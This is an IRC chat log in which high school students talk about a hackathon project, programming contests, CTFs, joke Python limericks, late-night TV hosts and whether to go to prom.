[2015-01-18T15:16:03-0500] <alokpathy> Yeah
[2015-01-18T15:16:08-0500] <+Tamini> y u do thiss :(
[2015-01-18T15:16:16-0500] <+Tamini> oh oops
[2015-01-18T15:16:58-0500] <alokpathy> Wat
[2015-01-18T15:18:39-0500] <+Tamini> i accidentally did a thing
[2015-01-18T15:18:45-0500] <+Tamini> anyhow
[2015-01-18T15:18:48-0500] <+hardmath123> You did the same thing twice.
[2015-01-18T15:18:50-0500] <+Tamini> yu do it so early :(
[2015-01-18T15:18:57-0500] <+Tamini> hardmath123: oh, i thought i did a thing
[2015-01-18T15:18:59-0500] <+Tamini> i guess i didnt
[2015-01-18T15:19:02-0500] <+Tamini> yo, have you done usaco yet?
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[2015-01-18T15:19:17-0500] <alokpathy> Tamini: I don't usually
[2015-01-18T15:19:28-0500] <alokpathy> But it's PennApps weekend
[2015-01-18T15:19:35-0500] <+Tamini> but stiiiiill
[2015-01-18T15:19:38-0500] <+Tamini> also did you guys win
[2015-01-18T15:19:44-0500] <@awe> We got in the top 30.
[2015-01-18T15:19:46-0500] <alokpathy> We got top 30
[2015-01-18T15:19:47-0500] <@awe> alokpathy: ninja'd.
[2015-01-18T15:19:49-0500] <+Tamini> who won?
[2015-01-18T15:19:55-0500] <jwoglom> damn, nice.
[2015-01-18T15:19:58-0500] <@awe> We don't know yet.
[2015-01-18T15:20:00-0500] <jwoglom> how many groups were there?
[2015-01-18T15:20:06-0500] <@awe> 224 projects according to ChallengePost.
[2015-01-18T15:20:12-0500] <alokpathy> jwoglom: more than 30
[2015-01-18T15:20:14-0500] <+Tamini> <3
[2015-01-18T15:20:16-0500] <+Tamini> gj kids
[2015-01-18T15:20:19-0500] <jwoglom> alokpathy: well duh :P
[2015-01-18T15:20:22-0500] <@awe> You guys can try it out.
[2015-01-18T15:20:26-0500] <@awe> http://vear.ch/
[2015-01-18T15:20:30-0500] <+hardmath123> I'm not going to do USACO.
[2015-01-18T15:20:42-0500] <+Tamini> why not?
[2015-01-18T15:20:43-0500] <@awe> You can only search for a few things though.
[2015-01-18T15:20:46-0500] <+hardmath123> I don't do USACO.
[2015-01-18T15:20:50-0500] <@awe> Well, "a few"
[2015-01-18T15:20:52-0500] <+Tamini> i meant like
[2015-01-18T15:20:54-0500] <+Tamini> reason, lol
[2015-01-18T15:20:59-0500] <jwoglom> ooh, that's a cool concept
[2015-01-18T15:21:34-0500] <@awe> Most animals, common household objects, flowers, etc.
[2015-01-18T15:23:13-0500] <alokpathy> Tamini: I guess because contest programming can be annoying
[2015-01-18T15:23:24-0500] <+Tamini> true
[2015-01-18T15:23:28-0500] <alokpathy> Though USACO's one of the better ones
[2015-01-18T15:23:30-0500] <+Tamini> i wouldnt do it if matt wasnt scary
[2015-01-18T15:23:31-0500] <+Tamini> lol
[2015-01-18T15:23:34-0500] <+Tamini> cf can be alright
[2015-01-18T15:23:48-0500] <alokpathy> I don't like competitions that factor in when you solve it
[2015-01-18T15:23:58-0500] <+Tamini> yeahh
[2015-01-18T15:24:41-0500] <jwoglom> awe: why can't i generate a url with the results :P
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[2015-01-18T15:24:56-0500] <@awe> Generate a url with the results?
[2015-01-18T15:25:00-0500] <@awe> Oh.
[2015-01-18T15:25:06-0500] <jwoglom> like shouldn't i be able to link the page to someone?
[2015-01-18T15:25:06-0500] <@awe> It wasn't really designed for that.
[2015-01-18T15:25:12-0500] <@awe> We could do that though.
[2015-01-18T15:25:16-0500] <@awe> It's really expensive to run though.
[2015-01-18T15:25:21-0500] <@awe> (~$400/mo)
[2015-01-18T15:25:22-0500] <jwoglom> well, i mean, if i want to say "hey look at how cool this is" to someone
[2015-01-18T15:25:27-0500] <jwoglom> how else can i provide an example? :P
[2015-01-18T15:25:34-0500] <+JacobEdelman> zrl: qemu-system-x86_64: -smbios type=2: Don't know how to build fields for SMBIOS type 2
[2015-01-18T15:25:39-0500] <+JacobEdelman> zrl: what should I do?
[2015-01-18T15:26:35-0500] <@awe> I could do something easy that will allow you to t
[2015-01-18T15:26:37-0500] <@awe> do it*
[2015-01-18T15:26:41-0500] <@awe> (Alok pressed enter while I was typing)
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[2015-01-18T15:26:35-0500] <@awe> do it*
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[2015-01-18T15:26:53-0500] <@awe> (Alok pressed enter while I was typing)
[2015-01-18T15:27:05-0500] <jwoglom> just have it do a location.href='#url='+escape(url)+'&q='+escape(q);
[2015-01-18T15:27:11-0500] <@awe> Yeah.
[2015-01-18T15:27:11-0500] <jwoglom> and have it search for those parameters in the url on load
[2015-01-18T15:27:15-0500] <@awe> I can do that.
[2015-01-18T15:27:16-0500] <jwoglom> should be like, 5 lines of javascript
[2015-01-18T15:33:32-0500] <+Tamini> alok: is it four hosr again?
[2015-01-18T15:33:34-0500] <+Tamini> hours*
[2015-01-18T15:35:38-0500] <@awe> jwoglom: Yeah, it just sort of wasn't a use case we thought of is all.
[2015-01-18T15:35:50-0500] <alokpathy> Tamini: as always
[2015-01-18T15:36:49-0500] <+Tamini> i liked it better when 3
[2015-01-18T15:36:51-0500] <+Tamini> also uh
[2015-01-18T15:36:53-0500] <+Tamini> the thing right
[2015-01-18T15:36:55-0500] <jwoglom> awe: yeah it's fine
[2015-01-18T15:36:57-0500] <+Tamini> the bettergrader
[2015-01-18T15:37:07-0500] <jwoglom> just something i noticed when i thought about sharing an example link in here
[2015-01-18T15:37:14-0500] <alokpathy> Tamini: what about it?
[2015-01-18T15:37:21-0500] <@awe> Would've made it easier for me to link stuff too.
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[2015-01-18T15:37:19-0500] <@awe> Would've made it easier for me to link stuff too.
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[2015-01-18T15:39:10-0500] <+JacobEdelman> whoever just tested mouse on vear.ch
[2015-01-18T15:39:21-0500] <+JacobEdelman> I'm shocked it actually worked
[2015-01-18T15:40:16-0500] <jwoglom> JacobEdelman: that was me
[2015-01-18T15:40:18-0500] <jwoglom> i was surprised too
[2015-01-18T15:41:05-0500] <+JacobEdelman> yeah, lemme look somethingup
[2015-01-18T15:41:22-0500] <+hardmath123> JacobEdelman: did you give your talk? How did it go?
[2015-01-18T15:41:29-0500] <+JacobEdelman> I did, it went well
[2015-01-18T15:41:35-0500] <+hardmath123> Awesome.
[2015-01-18T15:41:56-0500] <+hardmath123> In case you're interested, I got 1 signup where all fields were filled with "wat".
[2015-01-18T15:41:57-0500] <+hardmath123> :P
[2015-01-18T15:42:14-0500] <+JacobEdelman> yup, it legit found the mouse
[2015-01-18T15:42:21-0500] <@awe> hardmath123: It doesn't surprise me. JacobEdelman was probably incomprehensible.
[2015-01-18T15:42:24-0500] <+JacobEdelman> although it won't work on actually mouse the creature
[2015-01-18T15:42:35-0500] <+JacobEdelman> awe: no, I was not
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[2015-01-19T00:50:33-0500] Set by Tamini on January 18, 2015 at 3:16:32 PM EST
[2015-01-18T23:15:07-0500] <alokpathy> Tamini: I feel your pain.
[2015-01-18T23:17:23-0500] <+hardmath123> I'm so confused. There's a reddit /r/writingprompt called "[WP] Write a story that's been heavily censored. The censorship tells us more than the actual writing." and the top comment was deleted by a mod.
[2015-01-18T23:17:52-0500] <ubuntor> well, if there's no writing at all...
[2015-01-18T23:17:55-0500] <jwoglom> hardmath123: duh. it's reddit
[2015-01-18T23:17:59-0500] <+Tamini> lol
[2015-01-18T23:18:04-0500] <+Tamini> that's really funny
[2015-01-18T23:18:25-0500] <nezorg> did you guys see that redacted apple eula that was a story?
[2015-01-18T23:20:41-0500] <nezorg> http://www.underconsideration.com/fpo/archives/2015/01/the-man-who-agreed---apple-terms-and-conditions.php
[2015-01-18T23:21:52-0500] <ubuntor> huh, neat
[2015-01-18T23:24:42-0500] <nezorg> the comments on that page though
[2015-01-18T23:24:43-0500] <nezorg> blech
[2015-01-18T23:28:07-0500] <+Tamini> lol
[2015-01-18T23:28:54-0500] <ubuntor> eh, comments on the internet
[2015-01-18T23:31:39-0500] <nezorg> at least it isn't youtube
[2015-01-18T23:32:11-0500] <+Tamini> alokpathy: someone WP'd my easyctf story idea
[2015-01-18T23:32:11-0500] <+Tamini> :(
[2015-01-18T23:32:15-0500] <+Tamini> i feel unoriginal
[2015-01-18T23:33:16-0500] <alokpathy> Tamini: wp?
[2015-01-18T23:33:29-0500] <+Tamini> writing prompt
[2015-01-18T23:34:06-0500] <+hardmath123> http://imgur.com/4J7Il0m
[2015-01-18T23:34:18-0500] <+Tamini> heh
[2015-01-18T23:34:25-0500] <+Tamini> these odes are totally your thing, arent they
[2015-01-18T23:34:30-0500] <+Tamini> you should write an ode to ctf <3
[2015-01-18T23:34:44-0500] <ubuntor> that's great
[2015-01-18T23:34:51-0500] <alokpathy> Tamini: Still confused xD
[2015-01-18T23:35:01-0500] <+hardmath123> Tamini: NOOOO failedxyz changed our story!!!
[2015-01-18T23:35:02-0500] <+Tamini> alokpathy: one of the reddit writingprompts
[2015-01-18T23:35:09-0500] <+Tamini> is nearly exactly the prompt i threw at michael
[2015-01-18T23:35:12-0500] <alokpathy> Tamini: Oh okay
[2015-01-18T23:35:14-0500] <+Tamini> hardmath123: wait what what happened
[2015-01-18T23:35:19-0500] <+Tamini> are we not bombing north korea anymore
[2015-01-18T23:35:19-0500] <+Tamini> D:
[2015-01-18T23:35:23-0500] <alokpathy> Tamini: I probably would understand more if I was on reddit.
[2015-01-18T23:35:28-0500] <+Tamini> probably
[2015-01-18T23:35:34-0500] <jwoglom> ooh are we starting world war 3
[2015-01-18T23:35:38-0500] <+hardmath123> no, you're escaping from a jail cell
[2015-01-18T23:35:40-0500] <+hardmath123> :(
[2015-01-18T23:35:45-0500] <+Tamini> aw D:
[2015-01-18T23:35:48-0500] <+Tamini> thats lameee
[2015-01-18T23:35:55-0500] <+Tamini> but hardmath123: lets write an odeeee
[2015-01-18T23:36:01-0500] <+hardmath123> Okayyyyyy
[2015-01-18T23:36:27-0500] <+hardmath123> I'm slowly adopting your habitttt of repeatinggggg the last letterrrrr of certain wordsssss.
[2015-01-18T23:36:57-0500] <+Tamini> its only the last word usually
[2015-01-18T23:37:08-0500] <+hardmath123> oh, right, sorryyyyyyy
[2015-01-18T23:37:22-0500] <+Tamini> yes, better
[2015-01-18T23:38:28-0500] <nezorg> fuckkkkkkkkkk
[2015-01-18T23:38:30-0500] <nezorg> thatttttttttttt
[2015-01-18T23:38:57-0500] <+hardmath123> first worlddddddd anarchists
[2015-01-19T00:27:42-0500] <+Tamini> awe: we need a limerick database
[2015-01-19T00:27:48-0500] <+Tamini> hardmath123 and i are writing some masterpieces
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[2015-01-19T00:51:21-0500] Set by Tamini on January 18, 2015 at 3:16:32 PM EST
[2015-01-18T23:15:07-0500] <alokpathy> Tamini: I feel your pain.
[2015-01-18T23:17:23-0500] <+hardmath123> I'm so confused. There's a reddit /r/writingprompt called "[WP] Write a story that's been heavily censored. The censorship tells us more than the actual writing." and the top comment was deleted by a mod.
[2015-01-18T23:17:52-0500] <ubuntor> well, if there's no writing at all...
[2015-01-18T23:17:55-0500] <jwoglom> hardmath123: duh. it's reddit
[2015-01-18T23:17:59-0500] <+Tamini> lol
[2015-01-18T23:18:04-0500] <+Tamini> that's really funny
[2015-01-18T23:18:25-0500] <nezorg> did you guys see that redacted apple eula that was a story?
[2015-01-18T23:20:41-0500] <nezorg> http://www.underconsideration.com/fpo/archives/2015/01/the-man-who-agreed---apple-terms-and-conditions.php
[2015-01-18T23:21:52-0500] <ubuntor> huh, neat
[2015-01-18T23:24:42-0500] <nezorg> the comments on that page though
[2015-01-18T23:24:43-0500] <nezorg> blech
[2015-01-18T23:28:07-0500] <+Tamini> lol
[2015-01-18T23:28:54-0500] <ubuntor> eh, comments on the internet
[2015-01-18T23:31:39-0500] <nezorg> at least it isn't youtube
[2015-01-18T23:32:11-0500] <+Tamini> alokpathy: someone WP'd my easyctf story idea
[2015-01-18T23:32:11-0500] <+Tamini> :(
[2015-01-18T23:32:15-0500] <+Tamini> i feel unoriginal
[2015-01-18T23:33:16-0500] <alokpathy> Tamini: wp?
[2015-01-18T23:33:29-0500] <+Tamini> writing prompt
[2015-01-18T23:34:06-0500] <+hardmath123> http://imgur.com/4J7Il0m
[2015-01-18T23:34:18-0500] <+Tamini> heh
[2015-01-18T23:34:25-0500] <+Tamini> these odes are totally your thing, arent they
[2015-01-18T23:34:30-0500] <+Tamini> you should write an ode to ctf <3
[2015-01-18T23:34:44-0500] <ubuntor> that's great
[2015-01-18T23:34:51-0500] <alokpathy> Tamini: Still confused xD
[2015-01-18T23:35:01-0500] <+hardmath123> Tamini: NOOOO failedxyz changed our story!!!
[2015-01-18T23:35:02-0500] <+Tamini> alokpathy: one of the reddit writingprompts
[2015-01-18T23:35:09-0500] <+Tamini> is nearly exactly the prompt i threw at michael
[2015-01-18T23:35:12-0500] <alokpathy> Tamini: Oh okay
[2015-01-18T23:35:14-0500] <+Tamini> hardmath123: wait what what happened
[2015-01-18T23:35:19-0500] <+Tamini> are we not bombing north korea anymore
[2015-01-18T23:35:19-0500] <+Tamini> D:
[2015-01-18T23:35:23-0500] <alokpathy> Tamini: I probably would understand more if I was on reddit.
[2015-01-18T23:35:28-0500] <+Tamini> probably
[2015-01-18T23:35:34-0500] <jwoglom> ooh are we starting world war 3
[2015-01-18T23:35:38-0500] <+hardmath123> no, you're escaping from a jail cell
[2015-01-18T23:35:40-0500] <+hardmath123> :(
[2015-01-18T23:35:45-0500] <+Tamini> aw D:
[2015-01-18T23:35:48-0500] <+Tamini> thats lameee
[2015-01-18T23:35:55-0500] <+Tamini> but hardmath123: lets write an odeeee
[2015-01-18T23:36:01-0500] <+hardmath123> Okayyyyyy
[2015-01-18T23:36:27-0500] <+hardmath123> I'm slowly adopting your habitttt of repeatinggggg the last letterrrrr of certain wordsssss.
[2015-01-18T23:36:57-0500] <+Tamini> its only the last word usually
[2015-01-18T23:37:08-0500] <+hardmath123> oh, right, sorryyyyyyy
[2015-01-18T23:37:22-0500] <+Tamini> yes, better
[2015-01-18T23:38:28-0500] <nezorg> fuckkkkkkkkkk
[2015-01-18T23:38:30-0500] <nezorg> thatttttttttttt
[2015-01-18T23:38:57-0500] <+hardmath123> first worlddddddd anarchists
[2015-01-19T00:27:42-0500] <+Tamini> awe: we need a limerick database
[2015-01-19T00:27:48-0500] <+Tamini> hardmath123 and i are writing some masterpieces
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[2015-01-19T00:51:32-0500] <@awe> Tamini: lolokay.
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[2015-01-19T01:05:40-0500] <+hardmath123> 20:43:45       Tamini | because i found myself losing in an argument about how people are more than their looks
[2015-01-19T01:05:42-0500] <+hardmath123> whoops
[2015-01-19T01:05:45-0500] <+hardmath123> didn't mean to say that
[2015-01-19T01:06:40-0500] <+hardmath123> [cry for her in the_start]
[2015-01-19T01:06:42-0500] <+hardmath123> while she is not in heart: # still valid python
[2015-01-19T01:06:44-0500] <+hardmath123>  try: presents
[2015-01-19T01:06:46-0500] <+hardmath123>  except cooked: pheasants
[2015-01-19T01:06:48-0500] <+hardmath123> finally: break apart;
[2015-01-19T01:07:48-0500] <nezorg> indentation failed
[2015-01-19T01:08:20-0500] <+Tamini> its okay
[2015-01-19T01:08:28-0500] <+Tamini> python limericks are the future!
[2015-01-19T01:08:31-0500] <nezorg> also break takes an argument?
[2015-01-19T01:09:30-0500] <+hardmath123> sshhhh!
[2015-01-19T01:09:35-0500] <+Tamini> mine is
[2015-01-19T01:09:37-0500] <+Tamini> worse poetry wise
[2015-01-19T01:09:41-0500] <+Tamini> but better python 
[2015-01-19T01:09:47-0500] <+Tamini> he = “unkind”
[2015-01-19T01:09:47-0500] <+Tamini> if he not in mind:
[2015-01-19T01:09:47-0500] <+Tamini> 	self.state=”fine”
[2015-01-19T01:09:47-0500] <+Tamini> 	self.thoughts=”mine”
[2015-01-19T01:09:48-0500] <+Tamini> else: self.state=”in quite a bind”
[2015-01-19T01:10:20-0500] <+hardmath123> quotes fail
[2015-01-19T01:10:39-0500] <+Tamini> good enough
[2015-01-19T01:14:12-0500] <+hardmath123> poll time!
[2015-01-19T01:14:21-0500] <+hardmath123> what is your handedness?
[2015-01-19T01:14:36-0500] <+Tamini> right! but my left hand handwriting is pretty nice too
[2015-01-19T01:14:39-0500] <+Tamini> i'm just a lot slower
[2015-01-19T01:15:08-0500] <ubuntor> right
[2015-01-19T01:15:55-0500] <+Tamini> we should have !open/!close poll functionality
[2015-01-19T01:16:00-0500] <+Tamini> that would be interesting
[2015-01-19T01:46:48-0500] <@awe> Right.
[2015-01-19T01:46:52-0500] <@awe> Lefties are broken.
[2015-01-19T01:47:06-0500] <@awe> Also, yay, back at school.
[2015-01-19T01:47:33-0500] <@awe> Well, I have been for a few hours, but now I'm reasonably settled again.
[2015-01-19T01:47:45-0500] <@awe> Gotta unpack clothes tomorrow.
[2015-01-19T01:47:51-0500] <@awe> Pharyngeal: It is most unfortunate that we did not get to meet.
[2015-01-19T01:47:54-0500] <+hardmath123> list of people who hate awe just increased by one.
[2015-01-19T01:48:01-0500] <@awe> thanks, hardmath123
[2015-01-19T01:48:06-0500] <@awe> hardmath123: love you too, bb.
[2015-01-19T01:48:24-0500] <@awe> Lefties aren't actually broken.
[2015-01-19T01:48:25-0500] <+hardmath123> @iam a southpaw.
[2015-01-19T01:48:25-0500] <awebot> hardmath123: Got it!
[2015-01-19T01:48:40-0500] <@awe> In fact, I really couldn't care less about someone's handedness.
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[2015-01-19T01:55:53-0500] <+hardmath123> well
[2015-01-19T01:56:02-0500] <+hardmath123> several of the smartest people i know are lefties
[2015-01-19T01:56:02-0500] <Pharyngeal> awe: Agreed. Fucking student government meetings
[2015-01-19T01:56:07-0500] <Pharyngeal> And exam studying
[2015-01-19T01:56:10-0500] <Pharyngeal> o_o
[2015-01-19T01:56:11-0500] <Pharyngeal> Oh well
[2015-01-19T01:56:32-0500] <+hardmath123> whereas several of the dumbest people i know are not
[2015-01-19T01:56:40-0500] <+hardmath123> so if i did my bayesian inference right
[2015-01-19T01:57:32-0500] <+hardmath123> Pharyngeal: what's wrong with student government meetings?
[2015-01-19T01:58:10-0500] <Pharyngeal> hardmath123: Nothing, they just take too long, and the people who show up to them are either half retarded, or severely underprepared.
[2015-01-19T01:58:17-0500] <Pharyngeal> /rant
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[2015-01-19T09:59:53-0500] <+JacobEdelman> nezorg: we'd have a rubric for judging, and maybe do public voting? or maybe have a bunch of people who we know are smart (such as us) do the voting?
[2015-01-19T10:00:34-0500] <+JacobEdelman> nezorg: I'd like to prevent judges from having special interest (cough , cough pennapps health) but also make sure they know enough to make good decisions
[2015-01-19T10:01:04-0500] <+JacobEdelman> but yeah, I like the idea of hackPdgn, and now that it's the morning I know it's just not sleep deprivation :P
[2015-01-19T10:11:44-0500] <+JacobEdelman> *not just
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[2015-01-19T11:40:55-0500] <+JacobEdelman> anyone here ever used typescript?
[2015-01-19T12:17:06-0500] <+JacobEdelman> nvm
[2015-01-19T12:53:08-0500] <Tamini_> uugh
[2015-01-19T12:53:19-0500] <Tamini_> long weekends make me not want to do anything
[2015-01-19T12:55:19-0500] <alokpathy> Same
[2015-01-19T12:55:22-0500] <alokpathy> even though I have things to do
[2015-01-19T12:55:31-0500] <nezorg> sounds like me!
[2015-01-19T13:16:32-0500] <+JacobEdelman> same
[2015-01-19T13:19:16-0500] <Tamini_> lol
[2015-01-19T13:19:21-0500] <Tamini_> we need to #study then
[2015-01-19T13:19:29-0500] <alokpathy> Hey tonight's the debut of the Nightly Show
[2015-01-19T13:19:30-0500] <Tamini_> except we always get distracted oops
[2015-01-19T13:19:35-0500] <Tamini_> oh whoa
[2015-01-19T13:19:56-0500] <jwoglom> no more colbert :(
[2015-01-19T13:20:07-0500] <jwoglom> hopefully willmore does well
[2015-01-19T13:20:49-0500] <alokpathy> jwoglom: So much pressure
[2015-01-19T13:20:53-0500] <alokpathy> He's replacing Colbert
[2015-01-19T13:20:58-0500] <jwoglom> yup
[2015-01-19T13:21:08-0500] <jwoglom> colbert is unreplaceable
[2015-01-19T13:21:15-0500] <alokpathy> Completely.
[2015-01-19T13:21:30-0500] <jwoglom> john oliver is doing pretty well though
[2015-01-19T13:21:51-0500] <alokpathy> Mhm
[2015-01-19T13:21:53-0500] <jwoglom> his show has the cool format of only being once a week with no commercials
[2015-01-19T13:22:04-0500] <alokpathy> I didn't really watch him until after Colbert ended
[2015-01-19T13:22:19-0500] <alokpathy> and then I started 2-hour streaks of watching John Oliver on YouTube xD
[2015-01-19T13:22:36-0500] <jwoglom> ha nice :P
[2015-01-19T13:22:53-0500] <alokpathy> And Jon Stewart is still Jon Stewart
[2015-01-19T13:22:53-0500] <jwoglom> i started watching after the net neutrality episode
[2015-01-19T13:22:55-0500] <alokpathy> as always
[2015-01-19T13:23:19-0500] <jwoglom> yeah, i wonder how much longer he'll keep on doing the daily show
[2015-01-19T13:23:32-0500] <jwoglom> it's been like..15 years?
[2015-01-19T13:24:02-0500] <alokpathy> 1999-present
[2015-01-19T13:24:27-0500] <alokpathy> So, yeah, probably 15 years
[2015-01-19T13:24:32-0500] <alokpathy> coming up to 16 soon I guess
[2015-01-19T13:24:43-0500] <jwoglom> actually 16
[2015-01-19T13:24:47-0500] <jwoglom> stewart started in january 1999
[2015-01-19T13:24:55-0500] <alokpathy> Oh so 16
[2015-01-19T13:24:58-0500] <alokpathy> Dang
[2015-01-19T13:25:15-0500] <jwoglom> that's like, almost my whole life
[2015-01-19T13:25:22-0500] <alokpathy> Yeah LOL
[2015-01-19T13:25:31-0500] <jwoglom> i was born in april 98
[2015-01-19T13:25:41-0500] <alokpathy> August 97
[2015-01-19T13:25:55-0500] <jwoglom> cool
[2015-01-19T13:25:56-0500] <alokpathy> Well, David Letterman is retiring at 67, and Jon Stewart is 52, so unless he moves to another show he'll probably still be around for a while.
[2015-01-19T13:27:06-0500] <jwoglom> yeah he'd probably want to go and do something else if he left
[2015-01-19T13:27:17-0500] <jwoglom> it's just that he's been running the daily show for so long
[2015-01-19T13:27:55-0500] <alokpathy> Yeah, true
[2015-01-19T13:28:00-0500] <alokpathy> though idk where else he'd goe
[2015-01-19T13:28:01-0500] <alokpathy> go*
[2015-01-19T13:28:12-0500] <jwoglom> and the people that he's helped (colbert, oliver, carell) have gone on to their own shows and careers
[2015-01-19T13:28:19-0500] <jwoglom> while he's just stayed at the daily show, lol
[2015-01-19T13:28:47-0500] <alokpathy> Well, those people went from being correspondents to being hosts
[2015-01-19T13:28:54-0500] <alokpathy> Stewart's always been the host.
[2015-01-19T13:29:15-0500] <jwoglom> yeah
[2015-01-19T13:29:26-0500] <jwoglom> it just seems like he might want to do other things
[2015-01-19T13:29:36-0500] <jwoglom> which he kind of hinted at by doing the movie production thing last summer
[2015-01-19T13:29:43-0500] <alokpathy> Oh, true.
[2015-01-19T13:30:02-0500] <alokpathy> DS would be so different without him .-.
[2015-01-19T13:30:19-0500] <jwoglom> yeah
[2015-01-19T13:30:40-0500] <jwoglom> it might not even continue
[2015-01-19T13:30:56-0500] <alokpathy> Oh dear
[2015-01-19T13:32:20-0500] <jwoglom> i wish colbert's show didn't have to start in september -_-
[2015-01-19T13:32:47-0500] <alokpathy> Omg yeah
[2015-01-19T13:33:25-0500] <alokpathy> It'd be weird seeing Colbert out of character lol
[2015-01-19T13:33:40-0500] <jwoglom> yeah i wonder how that's going to go
[2015-01-19T13:44:47-0500] <Tamini_> alok, wanna study?
[2015-01-19T13:44:49-0500] <Tamini_> >.<
[2015-01-19T13:46:00-0500] <alokpathy> Tamini: I am
[2015-01-19T13:46:01-0500] <alokpathy> :P
[2015-01-19T13:46:05-0500] <alokpathy> Sorta
[2015-01-19T13:46:07-0500] <Tamini_> darn
[2015-01-19T13:59:50-0500] <nezorg> haskell people
[2015-01-19T13:59:53-0500] <nezorg> pipes vs conduit?
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[2015-01-19T14:24:12-0500] <foo> hehehe
[2015-01-19T14:25:02-0500] <foo> thank you for the apparent lack of pings
[2015-01-19T14:25:47-0500] <alokpathy> foo: wat
[2015-01-19T14:26:16-0500] <foo> alokpathy: it appears this server doesn't ever ask the client to ping
[2015-01-19T14:26:34-0500] <foo> although I suppose that's not really that hard to handle in a client xP
[2015-01-19T14:26:48-0500] <foo> but it's annoying when you're using telnet/gnutls-cli to connect...
[2015-01-19T14:27:41-0500] <Tamini_> lol
[2015-01-19T14:29:13-0500] <foo> oops, apparently this server *does* ping...
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[2015-01-19T15:44:39-0500] <alokpathy> Are there any CTFs in early June so I have an excuse to not go to prom?
[2015-01-19T15:45:00-0500] <+Tamini> why would you not go to prooom
[2015-01-19T15:45:01-0500] <+Tamini> :(
[2015-01-19T15:45:05-0500] <nezorg> alokpathy: maybe defcon quals? not sure how early it is this year
[2015-01-19T15:45:17-0500] <nezorg> nope, they're in may
[2015-01-19T15:45:22-0500] <+Tamini> dont you have like
[2015-01-19T15:45:23-0500] <+Tamini> people to ask and stuff
[2015-01-19T15:45:30-0500] <nezorg> no way am I going to prom
[2015-01-19T15:45:41-0500] <+Tamini> wait both of you
[2015-01-19T15:45:43-0500] <+Tamini> wtf is wrong with prom :O
[2015-01-19T15:45:54-0500] <+Tamini> (also alok, your prom doesnt coincide with arml?)
[2015-01-19T15:46:02-0500] <nezorg> why would I want to go
[2015-01-19T15:46:04-0500] <alokpathy> Tamini: Isn't ARML in May?
[2015-01-19T15:46:22-0500] <+Tamini> end of may iirc
[2015-01-19T15:46:28-0500] <+Tamini> nezorg: why wouldn't you? D:
[2015-01-19T15:47:03-0500] <nezorg> uh
[2015-01-19T15:47:09-0500] <nezorg> because there's no reason for me to want to? :P
[2015-01-19T15:47:23-0500] <alokpathy> I don't really want to
[2015-01-19T15:47:27-0500] <alokpathy> but my friend is pressuring me
[2015-01-19T15:47:30-0500] <alokpathy> so I need a good excuse.
[2015-01-19T15:47:38-0500] <nezorg> alokpathy: get rid of that friend!
[2015-01-19T15:47:46-0500] <alokpathy> I clearly did not learn anything from fighting peer pressure.
[2015-01-19T15:47:47-0500] • nezorg: 's solution to problems like that
[2015-01-19T15:48:02-0500] <alokpathy> Hey hey I have an idea
[2015-01-19T15:48:03-0500] <alokpathy> we'll just
[2015-01-19T15:48:07-0500] <alokpathy> make HSCTF conflict with prom
[2015-01-19T15:48:11-0500] <nezorg> xD
[2015-01-19T15:48:28-0500] <+Tamini> alokpathy: dont you have someone to ask and stuff
[2015-01-19T15:48:30-0500] <alokpathy> "Why'd you move HSCTF so it'd conflict with prom?"
[2015-01-19T15:48:33-0500] <alokpathy> "Logstical reasons"
[2015-01-19T15:48:34-0500] <+Tamini> you guys are so strangeeee
[2015-01-19T15:48:40-0500] <alokpathy> Tamini: I mean, I could ask somebody
[2015-01-19T15:48:42-0500] <+Tamini> i was contemplating skipping arml for prom
[2015-01-19T15:48:45-0500] <nezorg> Tamini: why would I want to go?
[2015-01-19T15:48:46-0500] <alokpathy> I don't really have an inclination to go to prom though.
[2015-01-19T15:48:48-0500] <+Tamini> and you guys are trying to think of excuses to not to
[2015-01-19T15:48:56-0500] <+Tamini> nezorg: wouldn't it be fun? :O
[2015-01-19T15:49:08-0500] <alokpathy> Post-prom would actually be fun
[2015-01-19T15:49:11-0500] <alokpathy> prom probably wouldn't
[2015-01-19T15:49:22-0500] <nezorg> a bunch of normal people doing stereotypical teenager stuff? no thanks
[2015-01-19T15:49:26-0500] <alokpathy> Post-prom has actual games and raffles and stuff apparently
[2015-01-19T15:49:29-0500] <alokpathy> Prom is just like
[2015-01-19T15:49:33-0500] <alokpathy> dance uncomfortably
[2015-01-19T15:49:38-0500] <+Tamini> lol 
[2015-01-19T15:49:39-0500] <nezorg> ^6
[2015-01-19T15:49:41-0500] <nezorg> *^^
[2015-01-19T15:49:42-0500] <+Tamini> well its also a lot
[2015-01-19T15:49:43-0500] <+Tamini> of
[2015-01-19T15:49:49-0500] <+Tamini> you get together with a bunch of friends
[2015-01-19T15:49:55-0500] <+Tamini> and hang out all afternoon
[2015-01-19T15:49:59-0500] <+Tamini> its like good memories and stuff
[2015-01-19T15:50:00-0500] <+Tamini> :<
[2015-01-19T15:50:01-0500] <+Tamini> idek
[2015-01-19T15:50:02-0500] <nezorg> but I can do that without going to prom
[2015-01-19T15:50:11-0500] <+Tamini> i wanted to go last year but i couldnt go without skipping arml
[2015-01-19T15:50:18-0500] <alokpathy> I mean my only reason to go to prom would be that a lot of my friends are going
[2015-01-19T15:50:21-0500] <+Tamini> and my mom didnt approve of the guy that asked me
[2015-01-19T15:50:22-0500] <+Tamini> ^^
[2015-01-19T15:50:24-0500] <+Tamini> isnt that enough?
[2015-01-19T15:50:28-0500] <alokpathy> Idk
[2015-01-19T15:51:05-0500] <+Tamini> idk maybe i just
[2015-01-19T15:51:07-0500] <+Tamini> like social events
[2015-01-19T15:51:27-0500] <nezorg> I like some social events, but I don't see why a school-organized one would be compelling
[2015-01-19T15:51:28-0500] <alokpathy> Depends on the event
[2015-01-19T15:51:40-0500] <alokpathy> Yeah I don't think I've ever gone to any school event voluntarily
[2015-01-19T15:51:48-0500] <jwoglom> it seems like prom is just one of those "high school experience" things
[2015-01-19T15:51:54-0500] <nezorg> yeah
[2015-01-19T15:51:58-0500] <nezorg> which is why I want to avoid it
[2015-01-19T15:52:10-0500] <alokpathy> Junior prom is easy to avoid
[2015-01-19T15:52:21-0500] <+Tamini> lol yeah
[2015-01-19T15:52:24-0500] <alokpathy> A sufficient number of people don't go.
[2015-01-19T15:52:25-0500] <+Tamini> we dont even have jprom
[2015-01-19T15:52:25-0500] <+Tamini> so lame
[2015-01-19T15:52:33-0500] <+Tamini> almost everyone does prom though
[2015-01-19T15:53:48-0500] <nezorg> idk
[2015-01-19T15:53:55-0500] <nezorg> none of my friends would really even consider going
[2015-01-19T15:54:00-0500] <+Tamini> really?
[2015-01-19T15:54:13-0500] <+Tamini> well i mean if its jprom its less of a big deal
[2015-01-19T15:54:14-0500] <alokpathy> I also don't really want to spend the money
